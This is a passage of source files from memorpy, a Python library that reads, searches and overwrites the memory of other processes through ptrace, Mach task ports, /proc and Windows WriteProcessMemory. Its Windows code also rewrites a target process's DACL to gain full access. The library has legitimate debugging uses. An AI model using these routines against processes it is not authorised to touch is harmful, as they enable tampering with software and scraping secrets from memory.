with open("/proc/%s/cmdline"%pid,'r') as f:
pname=f.read()
if name in pname:
return int(pid)
raise ProcessException("No process with such name: %s"%name)
## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.
def _ptrace(self, attach):
op = ctypes.c_int(PTRACE_ATTACH if attach else PTRACE_DETACH)
c_pid = c_pid_t(self.pid)
null = ctypes.c_void_p()
if not attach:
os.kill(self.pid, signal.SIGSTOP)
os.waitpid(self.pid, 0)
err = c_ptrace(op, c_pid, null, null)
if not attach:
os.kill(self.pid, signal.SIGCONT)
if err != 0:
raise OSError("%s: %s"%(
'PTRACE_ATTACH' if attach else 'PTRACE_DETACH',
errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN')
))
def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
"""
optimizations :
i for inode==0 (no file mapping)
s to avoid scanning shared regions
x to avoid scanning x regions
r don't scan ronly regions
"""
with open("/proc/" + str(self.pid) + "/maps", 'r') as maps_file:
for line in maps_file:
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\s+([-rwpsx]+)\s+([0-9A-Fa-f]+)\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\s+([0-9]+)\s*(.*)', line)
if not m:
continue
start, end, region_protec, offset, dev, inode, pathname = int(m.group(1), 16), int(m.group(2), 16), m.group(3), m.group(4), m.group(5), int(m.group(6)), m.group(7)
if start_offset is not None:
if start < start_offset:
continue
if end_offset is not None:
if start > end_offset:
continue
chunk=end-start
if 'r' in region_protec: # TODO: handle protec parameter
if optimizations:
if 'i' in optimizations and inode != 0:
continue
if 's' in optimizations and 's' in region_protec:
continue
if 'x' in optimizations and 'x' in region_protec:
continue
if 'r' in optimizations and not 'w' in region_protec:
continue
yield start, chunk
def ptrace_attach(self):
if not self.ptrace_started:
res=self._ptrace(True)
self.ptrace_started=True
return res
def ptrace_detach(self):
if self.ptrace_started:
res=self._ptrace(False)
self.ptrace_started=False
return res
def write_bytes(self, address, data):
if not self.ptrace_started:
self.ptrace_attach()
c_pid = c_pid_t(self.pid)
null = ctypes.c_void_p()
#we can only copy data per range of 4 or 8 bytes
word_size=ctypes.sizeof(ctypes.c_void_p)
#mprotect(address, len(data)+(len(data)%word_size), PROT_WRITE|PROT_READ)
for i in range(0, len(data), word_size):
word=data[i:i+word_size]
if len(word)<word_size: #we need to let some data untouched, so let's read at given offset to complete our 8 bytes
existing_data=self.read_bytes(int(address)+i+len(word), bytes=(word_size-len(word)))
word+=existing_data
if sys.byteorder=="little":
word=word[::-1]
attempt=0
err = c_ptrace(ctypes.c_int(PTRACE_POKEDATA), c_pid, int(address)+i, int(word.encode("hex"), 16))
if err != 0:
error=errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN')
raise OSError("Error using PTRACE_POKEDATA: %s"%error)
self.ptrace_detach()
return True
def read_bytes(self, address, bytes = 4):
if self.read_ptrace:
self.ptrace_attach()
data=b''
if not LARGE_FILE_SUPPORT:
mem_file.seek(address)
data=mem_file.read(bytes)
else:
lseek64(self.mem_file, address, os.SEEK_SET)
data=b""
try:
data=os.read(self.mem_file, bytes)
except Exception as e:
logger.info("Error reading %s at %s: %s"%((bytes),address, e))
if self.read_ptrace:
self.ptrace_detach()
return data

View File

@ -0,0 +1,20 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
PROT_NONE = 0
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
PROT_PRIVATE = 8
PROT_SHARED = 16
#Use some Windows constants for compatibility
PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE
PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ
PAGE_READONLY = PROT_READ
PAGE_READWRITE = PROT_READ | PROT_WRITE
PTRACE_POKEDATA = 5
PTRACE_ATTACH = 16
PTRACE_DETACH =17
PTRACE_CONT = 7

View File

@ -0,0 +1,96 @@
# Author: Nicolas VERDIER
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
import copy
import time
import struct
from .Address import Address
class Locator(object):
"""
take a memoryworker and a type to search
then you can feed the locator with values and it will reduce the addresses possibilities
"""
def __init__(self, mw, type = 'unknown', start = None, end = None):
self.mw = mw
self.type = type
self.last_iteration = {}
self.last_value = None
self.start = start
self.end = end
def find(self, value, erase_last = True):
return self.feed(value, erase_last)
def feed(self, value, erase_last = True):
self.last_value = value
new_iter = copy.copy(self.last_iteration)
if self.type == 'unknown':
all_types = ['uint',
'int',
'long',
'ulong',
'float',
'double',
'short',
'ushort']
else:
all_types = [self.type]
for type in all_types:
if type not in new_iter:
try:
new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ]
except struct.error:
new_iter[type] = []
else:
l = []
for address in new_iter[type]:
try:
found = self.mw.process.read(address, type)
if int(found) == int(value):
l.append(Address(address, self.mw.process, type))
except Exception as e:
pass
new_iter[type] = l
if erase_last:
del self.last_iteration
self.last_iteration = new_iter
return new_iter
def get_addresses(self):
return self.last_iteration
def diff(self, erase_last = False):
return self.get_modified_addr(erase_last)
def get_modified_addr(self, erase_last = False):
last = self.last_iteration
new = self.feed(self.last_value, erase_last=erase_last)
ret = {}
for type, l in last.iteritems():
typeset = set(new[type])
for addr in l:
if addr not in typeset:
if type not in ret:
ret[type] = []
ret[type].append(addr)
return ret

View File

@ -0,0 +1,226 @@
# Author: Nicolas VERDIER
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
import sys
import string
import re
import logging
import traceback
import binascii
import struct
from .Process import *
from .utils import *
from .Address import Address
from .BaseProcess import ProcessException
from .structures import *
logger = logging.getLogger('memorpy')
REGEX_TYPE=type(re.compile("^plop$"))
class MemWorker(object):
def __init__(self, pid=None, name=None, end_offset = None, start_offset = None, debug=True):
self.process = Process(name=name, pid=pid, debug=debug)
def __enter__(self):
return self
def __exit__(self, type, value, traceback):
self.process.close()
def Address(self, value, default_type = 'uint'):
""" wrapper to instanciate an Address class for the memworker.process"""
return Address(value, process=self.process, default_type=default_type)
def umem_replace(self, regex, replace):
""" like search_replace_mem but works with unicode strings """
regex = re_to_unicode(regex)
replace = replace.encode('utf-16-le')
return self.mem_replace(re.compile(regex, re.UNICODE), replace)
def mem_replace(self, regex, replace):
""" search memory for a pattern and replace all found occurrences """
allWritesSucceed = True
for _, start_offset in self.mem_search(regex, ftype='re'):
if self.process.write_bytes(start_offset, replace) == 1:
logger.debug('Write at offset %s succeeded !' % start_offset)
else:
allWritesSucceed = False
logger.debug('Write at offset %s failed !' % start_offset)
return allWritesSucceed
def umem_search(self, regex):
""" like mem_search but works with unicode strings """
regex = re_to_unicode(regex)
for _, i in self.mem_search(str(regex), ftype='re'):
yield i
def group_search(self, group, start_offset = None, end_offset = None):
regex = ''
for value, type in group:
if type == 'f' or type == 'float':
f = struct.pack('<f', float(value))
regex += '..' + f[2:4]
else:
raise NotImplementedError('unknown type %s' % type)
return self.mem_search(regex, ftype='re', start_offset=start_offset, end_offset=end_offset)
def search_address(self, addr):
a = '%08X' % addr
logger.debug('searching address %s' % a)
regex = ''
for i in range(len(a) - 2, -1, -2):
regex += binascii.unhexlify(a[i:i + 2])
for _, a in self.mem_search(re.escape(regex), ftype='re'):
yield a
def parse_re_function(self, b, value, offset):
for name, regex in value:
for res in regex.finditer(b):
yield name, self.Address(offset+res.start(), 'bytes')
"""
index = b.find(res)
while index != -1:
soffset = offset + index
if soffset not in duplicates_cache:
duplicates_cache.add(soffset)
yield name, self.Address(soffset, 'bytes')
index = b.find(res, index + len(res))
"""
def parse_float_function(self, b, value, offset):
for index in range(0, len(b)):
try:
structtype, structlen = type_unpack('float')
tmpval = struct.unpack(structtype, b[index:index + 4])[0]
if int(value) == int(tmpval):
soffset = offset + index
yield self.Address(soffset, 'float')
except Exception as e:
pass
def parse_named_groups_function(self, b, value, offset=None):
for name, regex in value:
for res in regex.finditer(b):
yield name, res.groupdict()
def parse_groups_function(self, b, value, offset=None):
for name, regex in value:
for res in regex.finditer(b):
yield name, res.groups()
def parse_any_function(self, b, value, offset):
index = b.find(value)
while index != -1:
soffset = offset + index
yield self.Address(soffset, 'bytes')
index = b.find(value, index + 1)
def mem_search(self, value, ftype = 'match', protec = PAGE_READWRITE | PAGE_READONLY, optimizations=None, start_offset = None, end_offset = None):
"""
iterator returning all indexes where the pattern has been found
"""
# pre-compile regex to run faster
if ftype == 're' or ftype == 'groups' or ftype == 'ngroups':
# value should be an array of regex
if type(value) is not list:
value = [value]
tmp = []
for reg in value:
if type(reg) is tuple:
name = reg[0]
if type(reg[1]) != REGEX_TYPE:
regex = re.compile(reg[1], re.IGNORECASE)
else:
regex=reg[1]
elif type(reg) == REGEX_TYPE:
name = ''
regex=reg
else:
name = ''
regex = re.compile(reg, re.IGNORECASE)
tmp.append((name, regex))
value = tmp
elif ftype != 'match' and ftype != 'group' and ftype != 're' and ftype != 'groups' and ftype != 'ngroups' and ftype != 'lambda':
structtype, structlen = type_unpack(ftype)
value = struct.pack(structtype, value)
# different functions avoid if statement before parsing the buffer
if ftype == 're':
func = self.parse_re_function
elif ftype == 'groups':
func = self.parse_groups_function
elif ftype == 'ngroups':
func = self.parse_named_groups_function
elif ftype == 'float':
func = self.parse_float_function
elif ftype == 'lambda': # use a custm function
func = value
else:
func = self.parse_any_function
if not self.process.isProcessOpen:
raise ProcessException("Can't read_bytes, process %s is not open" % (self.process.pid))
for offset, chunk_size in self.process.iter_region(start_offset=start_offset, end_offset=end_offset, protec=protec, optimizations=optimizations):
b = b''
current_offset = offset
chunk_read = 0
chunk_exc = False
while chunk_read < chunk_size:
try:
b += self.process.read_bytes(current_offset, chunk_size)
except IOError as e:
print(traceback.format_exc())
if e.errno == 13:
raise
else:
logger.warning(e)
chunk_exc=True
break
except Exception as e:
print('coucou')
logger.warning(e)
chunk_exc = True
break
finally:
current_offset += chunk_size
chunk_read += chunk_size
if chunk_exc:
continue
if b:
if ftype=="lambda":
for res in func(b.decode('latin'), offset):
yield res
else:
for res in func(b.decode('latin'), value, offset):
yield res

View File

@ -0,0 +1,174 @@
# Author: Nicolas VERDIER
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
import copy
import struct
import utils
import platform
import ctypes, re, sys
import ctypes.util
import errno
import os
import signal
from .BaseProcess import BaseProcess, ProcessException
from .structures import *
import logging
import subprocess
logger = logging.getLogger('memorpy')
libc = ctypes.CDLL(ctypes.util.find_library('c'))
VM_REGION_BASIC_INFO_64 = 9
class vm_region_basic_info_64(ctypes.Structure):
_fields_ = [
('protection', ctypes.c_uint32),
('max_protection', ctypes.c_uint32),
('inheritance', ctypes.c_uint32),
('shared', ctypes.c_uint32),
('reserved', ctypes.c_uint32),
('offset', ctypes.c_ulonglong),
('behavior', ctypes.c_uint32),
('user_wired_count',ctypes.c_ushort),
]
VM_REGION_BASIC_INFO_COUNT_64 = ctypes.sizeof(vm_region_basic_info_64) / 4
VM_PROT_READ = 1
VM_PROT_WRITE = 2
VM_PROT_EXECUTE = 4
class OSXProcess(BaseProcess):
def __init__(self, pid=None, name=None, debug=True):
""" Create and Open a process object from its pid or from its name """
super(OSXProcess, self).__init__()
if pid is not None:
self.pid=pid
elif name is not None:
self.pid=OSXProcess.pid_from_name(name)
else:
raise ValueError("You need to instanciate process with at least a name or a pid")
self.task=None
self.mytask=None
self._open()
def close(self):
pass
def __del__(self):
pass
def _open(self):
self.isProcessOpen = True
self.task = ctypes.c_uint32()
self.mytask=libc.mach_task_self()
ret=libc.task_for_pid(self.mytask, ctypes.c_int(self.pid), ctypes.pointer(self.task))
if ret!=0:
raise ProcessException("task_for_pid failed with error code : %s"%ret)
@staticmethod
def list():
#TODO list processes with ctypes
processes=[]
res=subprocess.check_output("ps A", shell=True)
for line in res.split('\n'):
try:
tab=line.split()
pid=int(tab[0])
exe=' '.join(tab[4:])
processes.append({"pid":int(pid), "name":exe})
except:
pass
return processes
@staticmethod
def pid_from_name(name):
for dic in OSXProcess.list():
if name in dic['exe']:
return dic['pid']
def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
"""
optimizations :
i for inode==0 (no file mapping)
s to avoid scanning shared regions
x to avoid scanning x regions
r don't scan ronly regions
"""
maps = []
address = ctypes.c_ulong(0)
mapsize = ctypes.c_ulong(0)
name = ctypes.c_uint32(0)
count = ctypes.c_uint32(VM_REGION_BASIC_INFO_COUNT_64)
info = vm_region_basic_info_64()
while True:
r = libc.mach_vm_region(self.task, ctypes.pointer(address),
ctypes.pointer(mapsize), VM_REGION_BASIC_INFO_64,
ctypes.pointer(info), ctypes.pointer(count),
ctypes.pointer(name))
# If we get told "invalid address", we have crossed into kernel land...
if r == 1:
break
if r != 0:
raise ProcessException('mach_vm_region failed with error code %s' % r)
if start_offset is not None:
if address.value < start_offset:
address.value += mapsize.value
continue
if end_offset is not None:
if address.value > end_offset:
break
p = info.protection
if p & VM_PROT_EXECUTE:
if optimizations and 'x' in optimizations:
address.value += mapsize.value
continue
if info.shared:
if optimizations and 's' in optimizations:
address.value += mapsize.value
continue
if p & VM_PROT_READ:
if not (p & VM_PROT_WRITE):
if optimizations and 'r' in optimizations:
address.value += mapsize.value
continue
yield address.value, mapsize.value
address.value += mapsize.value
def write_bytes(self, address, data):
raise NotImplementedError("write not implemented on OSX")
return True
def read_bytes(self, address, bytes = 4):
pdata = ctypes.c_void_p(0)
data_cnt = ctypes.c_uint32(0)
ret = libc.mach_vm_read(self.task, ctypes.c_ulonglong(address), ctypes.c_longlong(bytes), ctypes.pointer(pdata), ctypes.pointer(data_cnt));
#if ret==1:
# return ""
if ret!=0:
raise ProcessException("mach_vm_read returned : %s"%ret)
buf=ctypes.string_at(pdata.value, data_cnt.value)
libc.vm_deallocate(self.mytask, pdata, data_cnt)
return buf

View File

@ -0,0 +1,13 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import sys
from .BaseProcess import *
if sys.platform=='win32':
from .WinProcess import WinProcess as Process
elif sys.platform=='darwin':
from .OSXProcess import OSXProcess as Process
elif 'sunos' in sys.platform:
from .SunProcess import SunProcess as Process
else:
from .LinProcess import LinProcess as Process

View File

@ -0,0 +1,167 @@
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
from .BaseProcess import BaseProcess, ProcessException
import struct
import os
MA_READ = 0x04
MA_WRITE = 0x02
MA_EXEC = 0x01
MA_SHARED = 0x08
MA_ANON = 0x40
MA_ISM = 0x80
MA_NORESERVE = 0x100
MA_SHM = 0x200
MA_RESERVED1 = 0x400
MA_OSM = 0x800
PSINFO_T = struct.Struct(
'iiiIIIIIIIILLLLHHLLLLLL16s80siiLLciILLcccchi8sLLIIIIII'
)
MAP_T = struct.Struct(
'LL64sQiiii'
)
class SunProcess(BaseProcess):
def __init__(self, pid=None, name=None, debug=True, ptrace=None):
''' Create and Open a process object from its pid or from its name '''
super(SunProcess, self).__init__()
self.pid = int(pid)
self.pas = None
self.writable = False
if name and not self.pid:
self.pid = SunProcess.pid_from_name(name)
if not name and not self.pid:
raise ValueError('You need to instanciate process with at least a name or a pid')
try:
self._open()
except:
pass
def close(self):
if self.pas:
self.pas.close()
def __del__(self):
self.close()
def _open(self):
try:
self.pas = open('/proc/%d/as'%(self.pid), 'w+')
self.writable = True
except IOError:
self.pas = open('/proc/%d/as'%(self.pid))
self.isProcessOpen = True
@staticmethod
def _name_args(pid):
with open('/proc/%d/psinfo'%(int(pid))) as psinfo:
items = PSINFO_T.unpack_from(psinfo.read())
return items[23].rstrip('\x00'), items[24].rstrip('\x00')
@staticmethod
def list():
processes=[]
for pid in os.listdir('/proc'):
try:
pid = int(pid)
name, _ = SunProcess._name_args(pid)
processes.append({
'pid': pid,
'name': name
})
except:
pass
return processes
@staticmethod
def pid_from_name(name):
processes=[]
for pid in os.listdir('/proc'):
try:
pid = int(pid)
pname, cmdline = SunProcess._name_args(pid)
if name in pname:
return pid
if name in cmdline.split(' ', 1)[0]:
return pid
except:
pass
raise ProcessException('No process with such name: %s'%name)
def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
"""
optimizations :
i for inode==0 (no file mapping)
s to avoid scanning shared regions
x to avoid scanning x regions
r don't scan ronly regions
"""
if not self.isProcessOpen:
return
with open('/proc/%d/map'%(self.pid)) as maps_file:
while True:
mapping = maps_file.read(MAP_T.size)
if not mapping:
break
start, size, name, offset, flags, pagesize, shmid, filler = MAP_T.unpack(mapping)
if start_offset is not None:
if start < start_offset:
continue
if end_offset is not None:
if start > end_offset:
continue
if not flags & MA_READ:
continue
if optimizations:
if 'i' in optimizations and not flags & MA_ANON:
continue
if 's' in optimizations and flags & MA_SHM:
continue
# in sunos it's quite common when this flag is set, so let's use other letter
if 'X' in optimizations and flags & MA_EXEC:
continue
if 'r' in optimizations and not flags & MA_WRITE:
continue
yield start, size
def write_bytes(self, address, data):
if not self.pas or not self.writable:
return False
self.pas.seek(address)
self.pas.write(data)
return True
def read_bytes(self, address, bytes = 4):
if not self.pas:
return
self.pas.seek(address)
return self.pas.read(bytes)

View File

@ -0,0 +1,312 @@
# Author: Nicolas VERDIER
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
from ctypes import pointer, sizeof, windll, create_string_buffer, c_ulong, byref, GetLastError, c_bool, WinError
from .structures import *
import copy
import struct
# import utils
import platform
from .BaseProcess import BaseProcess, ProcessException
psapi = windll.psapi
kernel32 = windll.kernel32
advapi32 = windll.advapi32
IsWow64Process=None
if hasattr(kernel32,'IsWow64Process'):
IsWow64Process=kernel32.IsWow64Process
IsWow64Process.restype = c_bool
IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)]
class WinProcess(BaseProcess):
def __init__(self, pid=None, name=None, debug=True):
""" Create and Open a process object from its pid or from its name """
super(WinProcess, self).__init__()
if pid:
self._open(int(pid), debug=debug)
elif name:
self._open_from_name(name, debug=debug)
else:
raise ValueError("You need to instanciate process with at least a name or a pid")
if self.is_64bit():
si = self.GetNativeSystemInfo()
self.max_addr = si.lpMaximumApplicationAddress
else:
si = self.GetSystemInfo()
self.max_addr = 2147418111
self.min_addr = si.lpMinimumApplicationAddress
def __del__(self):
self.close()
def is_64bit(self):
if not "64" in platform.machine():
return False
iswow64 = c_bool(False)
if IsWow64Process is None:
return False
if not IsWow64Process(self.h_process, byref(iswow64)):
raise WinError()
return not iswow64.value
@staticmethod
def list():
processes=[]
arr = c_ulong * 256
lpidProcess= arr()
cb = sizeof(lpidProcess)
cbNeeded = c_ulong()
hModule = c_ulong()
count = c_ulong()
modname = create_string_buffer(100)
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_READ = 0x0010
psapi.EnumProcesses(byref(lpidProcess), cb, byref(cbNeeded))
nReturned = int(cbNeeded.value/sizeof(c_ulong()))
pidProcess = [i for i in lpidProcess][:nReturned]
for pid in pidProcess:
proc={ "pid": int(pid) }
hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
if hProcess:
psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count))
psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname))
proc["name"]=modname.value.decode()
kernel32.CloseHandle(hProcess)
processes.append(proc)
return processes
@staticmethod
def processes_from_name(processName):
processes = []
for process in WinProcess.list():
if processName == process.get("name", None) or (process.get("name","").lower().endswith(".exe") and process.get("name","")[:-4]==processName):
processes.append(process)
if len(processes) > 0:
return processes
@staticmethod
def name_from_process(dwProcessId):
process_list = WinProcess.list()
for process in process_list:
if process.pid == dwProcessId:
return process.get("name", None)
return False
def _open(self, dwProcessId, debug=False):
if debug:
ppsidOwner = DWORD()
ppsidGroup = DWORD()
ppDacl = DWORD()
ppSacl = DWORD()
ppSecurityDescriptor = SECURITY_DESCRIPTOR()
process = kernel32.OpenProcess(262144, 0, dwProcessId)
advapi32.GetSecurityInfo(kernel32.GetCurrentProcess(), 6, 0, byref(ppsidOwner), byref(ppsidGroup), byref(ppDacl), byref(ppSacl), byref(ppSecurityDescriptor))
advapi32.SetSecurityInfo(process, 6, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, None, None, ppSecurityDescriptor.dacl, ppSecurityDescriptor.group)
kernel32.CloseHandle(process)
self.h_process = kernel32.OpenProcess(2035711, 0, dwProcessId)
if self.h_process is not None:
self.isProcessOpen = True
self.pid = dwProcessId
return True
return False
def close(self):
if self.h_process is not None:
ret = kernel32.CloseHandle(self.h_process) == 1
if ret:
self.h_process = None
self.pid = None
self.isProcessOpen = False
return ret
return False
def _open_from_name(self, processName, debug=False):
processes = self.processes_from_name(processName)
if not processes:
raise ProcessException("can't get pid from name %s" % processName)
elif len(processes)>1:
raise ValueError("There is multiple processes with name %s. Please select a process from its pid instead"%processName)
if debug:
self._open(processes[0]["pid"], debug=True)
else:
self._open(processes[0]["pid"], debug=False)
def GetSystemInfo(self):
si = SYSTEM_INFO()
kernel32.GetSystemInfo(byref(si))
return si
def GetNativeSystemInfo(self):
si = SYSTEM_INFO()
kernel32.GetNativeSystemInfo(byref(si))
return si
def VirtualQueryEx(self, lpAddress):
mbi = MEMORY_BASIC_INFORMATION()
if not VirtualQueryEx(self.h_process, lpAddress, byref(mbi), sizeof(mbi)):
raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress)
return mbi
def VirtualQueryEx64(self, lpAddress):
mbi = MEMORY_BASIC_INFORMATION64()
if not VirtualQueryEx64(self.h_process, lpAddress, byref(mbi), sizeof(mbi)):
raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress)
return mbi
def VirtualProtectEx(self, base_address, size, protection):
old_protect = c_ulong(0)
if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)):
raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection))
return old_protect.value
def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
offset = start_offset or self.min_addr
end_offset = end_offset or self.max_addr
while True:
if offset >= end_offset:
break
mbi = self.VirtualQueryEx(offset)
offset = mbi.BaseAddress
chunk = mbi.RegionSize
protect = mbi.Protect
state = mbi.State
#print "offset: %s, chunk:%s"%(offset, chunk)
if state & MEM_FREE or state & MEM_RESERVE:
offset += chunk
continue
if protec:
if not protect & protec or protect & PAGE_NOCACHE or protect & PAGE_WRITECOMBINE or protect & PAGE_GUARD:
offset += chunk
continue
yield offset, chunk
offset += chunk
def write_bytes(self, address, data):
address = int(address)
if not self.isProcessOpen:
raise ProcessException("Can't write_bytes(%s, %s), process %s is not open" % (address, data, self.pid))
buffer = create_string_buffer(data)
sizeWriten = c_size_t(0)
bufferSize = sizeof(buffer) - 1
_address = address
_length = bufferSize + 1
try:
old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE)
except:
pass
res = kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten))
try:
self.VirtualProtectEx(_address, _length, old_protect)
except:
pass
return res
def read_bytes(self, address, bytes = 4, use_NtWow64ReadVirtualMemory64=False):
#print "reading %s bytes from addr %s"%(bytes, address)
if use_NtWow64ReadVirtualMemory64:
if NtWow64ReadVirtualMemory64 is None:
raise WindowsError("NtWow64ReadVirtualMemory64 is not available from a 64bit process")
RpM = NtWow64ReadVirtualMemory64
else:
RpM = ReadProcessMemory
address = int(address)
buffer = create_string_buffer(bytes)
bytesread = c_size_t(0)
data = b''
length = bytes
while length:
if RpM(self.h_process, address, buffer, bytes, byref(bytesread)) or (use_NtWow64ReadVirtualMemory64 and GetLastError() == 0):
if bytesread.value:
data += buffer.raw[:bytesread.value]
length -= bytesread.value
address += bytesread.value
if not len(data):
raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (GetLastError(),
address,
length,
bytesread.value))
return data
else:
if GetLastError()==299: #only part of ReadProcessMemory has been done, let's return it
data += buffer.raw[:bytesread.value]
return data
raise WinError()
# data += buffer.raw[:bytesread.value]
# length -= bytesread.value
# address += bytesread.value
return data
def list_modules(self):
module_list = []
if self.pid is not None:
hModuleSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPMODULE, self.pid)
if hModuleSnap is not None:
module_entry = MODULEENTRY32()
module_entry.dwSize = sizeof(module_entry)
success = Module32First(hModuleSnap, byref(module_entry))
while success:
if module_entry.th32ProcessID == self.pid:
module_list.append(copy.copy(module_entry))
success = Module32Next(hModuleSnap, byref(module_entry))
kernel32.CloseHandle(hModuleSnap)
return module_list
def get_symbolic_name(self, address):
for m in self.list_modules():
if int(m.modBaseAddr) <= int(address) < int(m.modBaseAddr + m.modBaseSize):
return '%s+0x%08X' % (m.szModule, int(address) - m.modBaseAddr)
return '0x%08X' % int(address)
def hasModule(self, module):
if module[-4:] != '.dll':
module += '.dll'
module_list = self.list_modules()
for m in module_list:
if module in m.szExePath.split('\\'):
return True
return False
def get_instruction(self, address):
"""
Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction.
"""
import pydasm
try:
data = self.read_bytes(int(address), 32)
except:
return 'Unable to disassemble at %08x' % address
return pydasm.get_instruction(data, pydasm.MODE_32)

View File

@ -0,0 +1,190 @@
# Author: Nicolas VERDIER
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
from ctypes import Structure, c_long, c_int, c_uint, c_char, c_void_p, c_ubyte, c_ushort, c_ulong, c_ulonglong, windll, POINTER, sizeof, c_bool, c_size_t, c_longlong
from ctypes.wintypes import *
if sizeof(c_void_p) == 8:
ULONG_PTR = c_ulonglong
else:
ULONG_PTR = c_ulong
class SECURITY_DESCRIPTOR(Structure):
_fields_ = [
('SID', DWORD),
('group', DWORD),
('dacl', DWORD),
('sacl', DWORD),
('test', DWORD)
]
PSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR)
class MEMORY_BASIC_INFORMATION(Structure):
_fields_ = [('BaseAddress', c_void_p),
('AllocationBase', c_void_p),
('AllocationProtect', DWORD),
('RegionSize', c_size_t),
('State', DWORD),
('Protect', DWORD),
('Type', DWORD)]
# https://msdn.microsoft.com/fr-fr/library/windows/desktop/aa366775(v=vs.85).aspx
class MEMORY_BASIC_INFORMATION64(Structure):
_fields_ = [('BaseAddress', c_ulonglong),
('AllocationBase', c_ulonglong),
('AllocationProtect', DWORD),
('alignement1', DWORD),
('RegionSize', c_ulonglong),
('State', DWORD),
('Protect', DWORD),
('Type', DWORD),
('alignement2', DWORD)]
class SYSTEM_INFO(Structure):
_fields_ = [('wProcessorArchitecture', WORD),
('wReserved', WORD),
('dwPageSize', DWORD),
('lpMinimumApplicationAddress', LPVOID),
('lpMaximumApplicationAddress', LPVOID),
('dwActiveProcessorMask', ULONG_PTR),
('dwNumberOfProcessors', DWORD),
('dwProcessorType', DWORD),
('dwAllocationGranularity', DWORD),
('wProcessorLevel', WORD),
('wProcessorRevision', WORD)]
class PROCESSENTRY32(Structure):
_fields_ = [('dwSize', c_uint),
('cntUsage', c_uint),
('th32ProcessID', c_uint),
('th32DefaultHeapID', c_uint),
('th32ModuleID', c_uint),
('cntThreads', c_uint),
('th32ParentProcessID', c_uint),
('pcPriClassBase', c_long),
('dwFlags', DWORD),
#('dwFlags', ULONG_PTR),
('szExeFile', c_char * 260),
